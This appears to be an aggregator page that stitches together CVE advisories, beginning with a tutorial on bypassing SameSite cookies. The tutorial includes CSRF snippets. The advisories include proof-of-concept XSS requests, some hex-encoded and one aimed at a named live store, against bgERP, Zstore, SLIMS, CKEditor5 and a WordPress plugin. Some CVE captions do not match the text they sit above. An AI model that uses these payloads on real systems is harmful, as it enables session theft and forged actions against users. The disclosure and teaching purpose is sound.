An improper SameSite Attribute vulnerability in pimCore v10.5.15 allows attackers to execute arbitrary code.

SameSite is a browser security mechanism that determines when a website's cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits.

Since 2021, Chrome applies Lax SameSite restrictions by default if the website that issues the cookie doesn't explicitly set its own restriction level. This is a proposed standard, and we expect other major browsers to adopt this behavior in the future. As a result, it's essential to have solid grasp of how these restrictions work, as well as how they can potentially be bypassed, in order to thoroughly test for cross-site attack vectors.

In this section, we'll first cover how the SameSite mechanism works and clarify some of the related terminology. We'll then look at some of the most common ways you may be able to bypass these restrictions, enabling CSRF and other cross-site attacks on websites that may initially appear secure.

**What is a site in the context of SameSite cookies?**

In the context of SameSite cookie restrictions, a site is defined as the top-level domain (TLD), usually something like .com or .net, plus one additional level of the domain name. This is often referred to as the TLD+1.

When determining whether a request is same-site or not, the URL scheme is also taken into consideration. This means that a link from http://app.example.com to https://app.example.com is treated as cross-site by most browsers.

**Note**

You may come across the term "effective top-level domain" (eTLD). This is just a way of accounting for the reserved multipart suffixes that are treated as top-level domains in practice, such as .co.uk.

**What's the difference between a site and an origin?**

The difference between a site and an origin is their scope; a site encompasses multiple domain names, whereas an origin only includes one. Although they're closely related, it's important not to use the terms interchangeably as conflating the two can have serious security implications.

Two URLs are considered to have the same origin if they share the exact same scheme, domain name, and port. Although note that the port is often inferred from the scheme.

As you can see from this example, the term "site" is much less specific as it only accounts for the scheme and last part of the domain name. Crucially, this means that a cross-origin request can still be same-site, but not the other way around.

**Request from**

**Request to**

**Same-site?**

**Same-origin?**

https://example.com

https://example.com

Yes

Yes

https://app.example.com

https://intranet.example.com

Yes

No: mismatched domain name

https://example.com

https://example.com:8080

Yes

No: mismatched port

https://example.com

https://example.co.uk

No: mismatched eTLD

No: mismatched domain name

https://example.com

http://example.com

No: mismatched scheme

No: mismatched scheme

This is an important distinction as it means that any vulnerability enabling arbitrary JavaScript execution can be abused to bypass site-based defenses on other domains belonging to the same site. We'll see an example of this in one of the labs later.

**How does SameSite work?**

Before the SameSite mechanism was introduced, browsers sent cookies in every request to the domain that issued them, even if the request was triggered by an unrelated third-party website. SameSite works by enabling browsers and website owners to limit which cross-site requests, if any, should include specific cookies. This can help to reduce users' exposure to CSRF attacks, which induce the victim's browser to issue a request that triggers a harmful action on the vulnerable website. As these requests typically require a cookie associated with the victim's authenticated session, the attack will fail if the browser doesn't include this.

All major browsers currently support the following SameSite restriction levels:

*   Strict
*   Lax
*   None

Developers can manually configure a restriction level for each cookie they set, giving them more control over when these cookies are used. To do this, they just have to include the SameSite attribute in the Set-Cookie response header, along with their preferred value:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

Although this offers some protection against CSRF attacks, none of these restrictions provide guaranteed immunity, as we'll demonstrate using deliberately vulnerable, interactive labs later in this section.

**Note**

If the website issuing the cookie doesn't explicitly set a SameSite attribute, Chrome automatically applies Lax restrictions by default. This means that the cookie is only sent in cross-site requests that meet specific criteria, even though the developers never configured this behavior. As this is a proposed new standard, we expect other major browsers to adopt this behavior in future.

**Strict**

If a cookie is set with the SameSite=Strict attribute, browsers will not send it in any cross-site requests. In simple terms, this means that if the target site for the request does not match the site currently shown in the browser's address bar, it will not include the cookie.

This is recommended when setting cookies that enable the bearer to modify data or perform other sensitive actions, such as accessing specific pages that are only available to authenticated users.

Although this is the most secure option, it can negatively impact the user experience in cases where cross-site functionality is desirable.

**Labs**

*   LAB Bypassing SameSite Strict restrictions using on-site gadgets
*   LAB Bypassing SameSite Strict restrictions via vulnerable sibling domains

**Lax**

Lax SameSite restrictions mean that browsers will send the cookie in cross-site requests, but only if both of the following conditions are met:

*   The request uses the GET method.
    
*   The request resulted from a top-level navigation by the user, such as clicking on a link.
    

This means that the cookie is not included in cross-site POST requests, for example. As POST requests are generally used to perform actions that modify data or state (at least according to best practice), they are much more likely to be the target of CSRF attacks.

Likewise, the cookie is not included in background requests, such as those initiated by scripts, iframes, or references to images and other resources.

**Labs**

*   LAB Bypassing SameSite Lax restrictions using GET requests
*   LAB Bypassing SameSite Lax restrictions with newly issued cookies

**None**

If a cookie is set with the SameSite=None attribute, this effectively disables SameSite restrictions altogether, regardless of the browser. As a result, browsers will send this cookie in all requests to the site that issued it, even those that were triggered by completely unrelated third-party sites.

With the exception of Chrome, this is the default behavior used by major browsers if no SameSite attribute is provided when setting the cookie.

There are legitimate reasons for disabling SameSite, such as when the cookie is intended to be used from a third-party context and doesn't grant the bearer access to any sensitive data or functionality. Tracking cookies are a typical example.

If you encounter a cookie set with SameSite=None or with no explicit restrictions, it's worth investigating whether it's of any use. When the "Lax-by-default" behavior was first adopted by Chrome, this had the side-effect of breaking a lot of existing web functionality. As a quick workaround, some websites have opted to simply disable SameSite restrictions on all cookies, including potentially sensitive ones.

When setting a cookie with SameSite=None, the website must also include the Secure attribute, which ensures that the cookie is only sent in encrypted messages over HTTPS. Otherwise, browsers will reject the cookie and it won't be set.

Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure

**Bypassing SameSite Lax restrictions using GET requests**

In practice, servers aren't always fussy about whether they receive a GET or POST request to a given endpoint, even those that are expecting a form submission. If they also use Lax restrictions for their session cookies, either explicitly or due to the browser default, you may still be able to perform a CSRF attack by eliciting a GET request from the victim's browser.

As long as the request involves a top-level navigation, the browser will still include the victim's session cookie. The following is one of the simplest approaches to launching such an attack:

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

Even if an ordinary GET request isn't allowed, some frameworks provide ways of overriding the method specified in the request line. For example, Symfony supports the _method parameter in forms, which takes precedence over the normal method for routing purposes:

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Other frameworks support a variety of similar parameters.

**Bypassing SameSite restrictions using on-site gadgets**

If a cookie is set with the SameSite=Strict attribute, browsers won't include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.

One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters. For some examples, see our materials on DOM-based open redirection.

As far as browsers are concerned, these client-side redirects aren't really redirects at all; the resulting request is just treated as an ordinary, standalone request. Most importantly, this is a same-site request and, as such, will include all cookies related to the site, regardless of any restrictions that are in place.

If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.

Note that the equivalent attack is not possible with server-side redirects. In this case, browsers recognize that the request to follow the redirect resulted from a cross-site request initially, so they still apply the appropriate cookie restrictions.

**Bypassing SameSite restrictions via vulnerable sibling domains**

Whether you're testing someone else's website or trying to secure your own, it's essential to keep in mind that a request can still be same-site even if it's issued cross-origin.

Make sure you thoroughly audit all of the available attack surface, including any sibling domains. In particular, vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site's domains to cross-site attacks.

In addition to classic CSRF, don't forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake. For more details, see our topic on WebSocket vulnerabilities.

**Bypassing SameSite Lax restrictions with newly issued cookies**

Cookies with Lax SameSite restrictions aren't normally sent in any cross-site POST requests, but there are some exceptions.

As mentioned earlier, if a website doesn't include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn't actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.

**Note**

This two-minute window does not apply to cookies that were explicitly set with the SameSite=Lax attribute.

It's somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn't necessarily know whether the user is still logged in to the target site.

To trigger the cookie refresh without the victim having to manually log in again, you need to use a top-level navigation, which ensures that the cookies associated with their current OAuth session are included. This poses an additional challenge because you then need to redirect the user back to your site so that you can launch the CSRF attack.

Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn't leave the page before you're able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they're opened via a manual interaction. For example, the following popup will be blocked by the browser by default:

window.open('https://vulnerable-website.com/login/sso');

To get around this, you can wrap the statement in an onclick event handler as follows:

window.onclick = () => {
    window.open('https://vulnerable-website.com/login/sso');
}

This way, the window.open() method is only invoked when the user clicks somewhere on the page.

CVE-2023-25240: Bypassing SameSite cookie restrictions | Web Security Academy

react-admin is a frontend framework for building browser applications on top of REST/GraphQL APIs. react-admin prior to versions 3.19.12 and 4.7.6, along with ra-ui-materialui prior to 3.19.12 and 4.7.6, are vulnerable to cross-site scripting. All React applications built with react-admin and using the `<RichTextField>` are affected. `<RichTextField>` outputs the field value using `dangerouslySetInnerHTML` without client-side sanitization. If the data isn't sanitized server-side, this opens a possible cross-site scripting (XSS) attack. Versions 3.19.12 and 4.7.6 now use `DOMPurify` to escape the HTML before outputting it with React and `dangerouslySetInnerHTML`. Users who already sanitize HTML data server-side do not need to upgrade. As a workaround, users may replace the `<RichTextField>` by a custom field doing sanitization by hand.

Skip to content

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    
    *   Explore
    *   All features
    *   Documentation
    *   GitHub Skills
    *   Blog
    
*   *   For
    *   Enterprise
    *   Teams
    *   Startups
    *   Education
    
    *   By Solution
    *   CI/CD & Automation
    *   DevOps
    *   DevSecOps
    
    *   Case Studies
    *   Customer Stories
    *   Resources
    
*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
    *   Repositories
    *   Topics
    *   Trending
    *   Collections
    
*   Pricing

CVE-2023-25572: Release 4.7.6 · marmelab/react-admin

bgERP v22.31 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the Search parameter.

**Description:**

The bgERP system suffers from unsecured login cookies in which cookies are stored as very sensitive login and also login session information! The attacker can trick the already login user and can steal the already generated cookie from the system and can do VERY DANGEROUS things with the already stored sensitive information. This can be very expensive for all companies which are using this system, please be careful! Also, this system has a vulnerable search parameter for XSS-Reflected attacks!

**STATUS: HIGH Vulnerability**

\[+\] Exploit:

    GET /Portal/Show?recentlySearch_14=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%70%6f%72%6e%68%75%62%2e%63%6f%6d%2f%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%20%72%65%6c%3d%22%6e%6f%6f%70%65%6e%65%72%20%6e%6f%66%6f%6c%6c%6f%77%20%75%67%63%22%3e%0a%3c%69%6d%67%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%64%6c%2e%70%68%6e%63%64%6e%2e%63%6f%6d%2f%67%69%66%2f%34%31%31%36%35%37%36%31%2e%67%69%66%3f%3f%74%6f%6b%65%6e%3d%47%48%53%41%54%30%41%41%41%41%41%41%42%58%57%47%53%4b%4f%48%37%4d%42%46%4c%45%4b%46%34%4d%36%59%33%59%43%59%59%4b%41%44%54%51%26%72%73%3d%31%22%20%73%74%79%6c%65%3d%22%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%62%6c%61%63%6b%3b%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%22%20%61%6c%74%3d%22%50%68%6f%74%6f%20%6f%66%20%42%79%72%6f%6e%20%42%61%79%2c%20%6f%6e%65%20%6f%66%20%41%75%73%74%72%61%6c%69%61%27%73%20%62%65%73%74%20%62%65%61%63%68%65%73%21%22%3e%0a%3c%2f%61%3e&Cmd%5Bdefault%5D=1 HTTP/1.1
    Host: 192.168.100.77:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.100.77:8080/Portal/Show
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: SID=rfn0jpm60epeabc1jcrkhgr9c3; brid=MC9tQnJQ_438f57; menuInfo=1254:l :0
    Connection: close
    Content-Length: 0
    

\[+\] Response after logout of the system:

HTTP/1.1 302 Found
Date: Tue, 31 Jan 2023 15:13:26 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: 0
Cache-Control: no-cache, must-revalidate
Location: /core\_Users/login/?ret\_url=bgerp%2FPortal%2FShow%2FrecentlySearch\_14%2F%253Ca%2Bhref%253D%2522https%253A%252F%252Fpornhub.com%252F%2522%2Btarget%253D%2522\_blank%2522%2Brel%253D%2522noopener%2Bnofollow%2Bugc%2522%253E%250A%253Cimg%2Bsrc%253D%2522https%253A%252F%252Fdl.phncdn.com%252Fgif%252F41165761.gif%253F%253Ftoken%253DGHSAT0AAAAAABXWGSKOH7MBFLEKF4M6Y3YCYYKADTQ%2526rs%253D1%2522%2Bstyle%253D%2522border%253A1px%2Bsolid%2Bblack%253Bmax-width%253A100%2525%253B%2522%2Balt%253D%2522Photo%2Bof%2BByron%2BBay%252C%2Bone%2Bof%2BAustralia%2527s%2Bbest%2Bbeaches%2521%2522%253E%250A%253C%252Fa%253E%2FCmd%2Cdefault%2F1%2FCmd%2Crefresh%2F1\_48f6f472
Connection: close
Content-Length: 2
Content-Encoding: none
Content-Type: text/html; charset=UTF-8

OK

**Reproduce:**

href

**Proof and Exploit:**

href

**Time spent**

01:30:00

CVE-2023-25241: CVE-nu11secur1ty/vendors/bgERP/2023/bgERP-v22.31-Cookie-Session-vulnerability+XSS-Reflected at main · nu11secur1ty/CVE-nu11secur1ty

Zstore v6.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /index.php.

The value of manual insertion point 1 is copied into the HTML document as plain text between tags. The payload giflcc0yu0 was submitted in the manual insertion point 1. This input was echoed unmodified in the application's response.

    GET /index.php?p=%41%70%70%2f%50%61%67%65%73%2f%43%68%61%74%67%69%66%6c%63%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%79%6f%75%74%75%62%65%2e%63%6f%6d%2f%77%61%74%63%68%3f%76%3d%6d%68%45%76%56%39%51%37%7a%66%45%22%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%65%64%69%61%2e%74%65%6e%6f%72%2e%63%6f%6d%2f%2d%4b%39%73%48%78%58%41%62%2d%63%41%41%41%41%43%2f%73%68%61%6d%65%2d%6f%6e%2d%79%6f%75%2d%70%61%74%72%69%63%69%61%2e%67%69%66%22%3e%0a HTTP/2
    Host: store.zippy.com.ua
    Cookie: PHPSESSID=f816ed0ddb0c43828cb387f992ac8521; last_chat_id=439
    Cache-Control: max-age=0
    Sec-Ch-Ua: "Chromium";v="107", "Not=A?Brand";v="24"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Ch-Ua-Platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: https://store.zippy.com.ua/index.php?q=p:App/Pages/Main
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    

    HTTP/2 200 OK
    Server: nginx
    Date: Sun, 29 Jan 2023 07:27:55 GMT
    Content-Type: text/html; charset=UTF-8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    X-Ray: p529:0.010/wn19119:0.010/wa19119:D=12546
    
    Class \App\Pages\Chatgiflc<a href="https:\\www.youtube.com\watch?v=mhEvV9Q7zfE"><img src=https:\\media.tenor.com\-K9sHxXAb-cAAAAC\shame-on-you-patricia.gif">
     does not exist<br>82<br>/home/zippy00/zippy.com.ua/store/vendor/leon-mbs/zippy/core/webapplication.php<br>

CVE-2023-24648: CVE-nu11secur1ty/vendors/zippy/zstore-6.6.0 at main · nu11secur1ty/CVE-nu11secur1ty

SLIMS v9.5.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component /customs/loan_by_class.php?reportView.

The value of manual insertion point 3 is copied into the HTML document as plain text between tags. The payload udz21<script>alert(1)</script>rk346 was submitted in manual insertion point 3. This input was echoed unmodified in the application's response. The attacker can trick the already logged-in user, to visit the exploit link that this attacker is created, and if this already logged-in user is not actually IT or admin, this will be the end of this system.

    GET /slims9_bulian-9.5.2/admin/modules/reporting/customs/loan_by_class.php?reportView=true&year=2002&class=%27udz21%3Ca%20href=https://www.pornhub.com%3E%3Cimg%20src=https://i.postimg.cc/1tSM7Z7F/Hijacking-clipboard.gif%22%3E%50%6c%65%61%73%65%2c%20%76%69%73%69%74%20%6f%75%72%20%6d%61%69%6e%74%65%6e%61%6e%63%65%20%70%61%67%65%20%74%6f%20%63%68%65%63%6b%20%77%68%61%74%20%69%73%20%74%68%65%20%6c%61%74%65%73%74%20%6e%65%77%73%21%20%57%65%20%61%72%65%20%73%6f%72%72%79%20%66%6f%72%20%74%68%69%73%20%70%72%6f%62%6c%65%6d%21%20%54%68%69%73%20%77%69%6c%6c%20%62%65%20%66%69%78%65%64%20%73%6f%6f%6e&membershipType=a%27%27&collType=%27 HTTP/1.1
    Host: pwnedhost1.com
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: SenayanAdmin=qavdssnj7kgu5g8a7d1pm0l3rr; admin_logged_in=1; SenayanMember=8f7c68j2b0pgbovehqcfuhcnl4
    Connection: close

CVE-2023-24086: CVE-nu11secur1ty/vendors/slims.web.id/SLIMS-9.5.2 at main · nu11secur1ty/CVE-nu11secur1ty

A vulnerability was found in UDX Stateless Media Plugin 3.1.1. It has been declared as problematic. This vulnerability affects the function setup_wizard_interface of the file lib/classes/class-settings.php. The manipulation of the argument settings leads to cross site scripting. The attack can be initiated remotely. Upgrading to version 3.2.0 is able to address this issue. The name of the patch is 6aee7ae0b0beeb2232ce6e1c82aa7e2041ae151a. It is recommended to upgrade the affected component. VDB-220750 is the identifier assigned to this vulnerability.

@@ -515,11 +515,14 @@ public function setup\_wizard\_interface() {

public function save\_media\_settings(){

if(isset($\_POST\['action'\]) && $\_POST\['action'\] == 'stateless\_settings' && wp\_verify\_nonce( $\_POST\['\_smnonce'\], 'wp-stateless-settings' )){

  

$settings = apply\_filters('stateless::settings::save', sanitize\_text\_field($\_POST\['sm'\]));

$settings = apply\_filters('stateless::settings::save', $\_POST\['sm'\]);

$root\_dir\_value = false;

  

foreach ( $settings as $name => $value ) {

  

/\*\*

\* Sanitize POST data

\*/

$value = sanitize\_text\_field($value);

/\*\*

\* root\_dir settings

\*/

CVE-2022-4905: vulnerability fix · udx/wp-stateless@6aee7ae

CKSource CKEditor5 35.4.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Full Featured CKEditor5 widget.

    # Exploit Title: Cross Site Scripting in CKSource's CKEditor5 35.4.0# Google Dork: N/A# Date: February 09, 2023# Exploit Author: Manish Pathak# Vendor Homepage: https://cksource.com/# Software Link: https://ckeditor.com/ckeditor-5/download/# Version: 35.4.0# Tested on: Linux / Web# CVE : CVE-2022-48110CKSource CKEditor5 35.4.0 was discovered to contain a cross-site scripting(XSS) vulnerability via Full Featured CKEditor5 Widget as the editor failsto sanitize user provided data.An attacker can execute arbitrary script in the browser in the context ofthe affected site. This can allow the attacker to steal cookie-basedauthentication credentials and launch other attacks.CKEditor5 version 35.4.0 is tested & found to be vulnerable.Documentation avaiable athttps://ckeditor.com/docs/ckeditor5/latest/features/html-embed.html#securitySecurity Docs Says """The HTML embed feature does not currently executecode in <script> tags. However, it will execute code in the on* andsrc="javascript:..." attributes."""Payload:<div class="raw-html-embed">    <script>alert(456)</script></div>

CVE-2022-48110: CKSource CKEditor5 35.4.0 Cross Site Scripting ≈ Packet Storm

Vsourz Digital Advanced Contact form 7 DB Versions 1.7.2 and 1.9.1 is vulnerable to Cross Site Scripting (XSS).

Permalink

Cannot retrieve contributors at this time

Reflected XSS (Cross-Site Scripting) attack - CVE-2022-45285

\------------------------------------------------------------

Vendor: Vsourz Digital

Wordpress Plugin Versions: Advanced Contact form 7 DB - 1.7.2, 1.9.1

Type: Remote attack

We have identified that the “Advanced Contact form 7 DB - 1.7.2, 1.9.1” Wordpress Plugin Versions are vulnerable to Reflective Cross-site scripting (XSS). This is due to that the Web App fails to sanitize HTML/JavaScript code on the server-side. By leveraging this issue, an attacker is able to cause arbitrary HTML and JavaScript code to be executed in a user's browser (e.g. admin) within the security context of the affected site. This attack can be used in conjunction with a social engineering techniques.

We have managed to bypass the client-side protection (URL Encoding) by intercepting the GET HTTP request using an HTTP proxy tool, and then inserting the XSS payload. Also, we have bypassed the server-side protection (Backslash Escaping) using backticks instead of single or double quotes.

Below, evidence is provided.

Request:

GET /formsurvey/index.php/user/admin/?'><script>alert(\`XSS\`)</script><' HTTP/1.1

Host: 1.1.1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK

Date: Fri, 04 Nov 2022 12:56:09 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Link: <http://1.1.1.1/formsurvey/index.php/wp-json/>; rel="https://api.w.org/"

Link: <http://1.1.1.1/formsurvey/?p=33>; rel=shortlink

Vary: Accept-Encoding

Content-Length: 31433

Connection: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>

....

....

<link rel='canonical' href='http://1.1.1.1/formsurvey/index.php/user/admin/?\\'><script>alert(\`XSS\`)</script><\\'' />

....

....

</html>

CVE-2022-45285: Vsourz-Digital/AdvancedContactForm_CF7_DB_XSS.txt at main · IthacaLabs/Vsourz-Digital

Control By Web X-400 devices are vulnerable to a cross-site scripting attack, which could result in private and session information being transferred to the attacker.

CVE-2023-23553

Cross-site Scripting (XSS) - Stored in GitHub repository btcpayserver/btcpayserver prior to 1.7.11.

Tag

#xss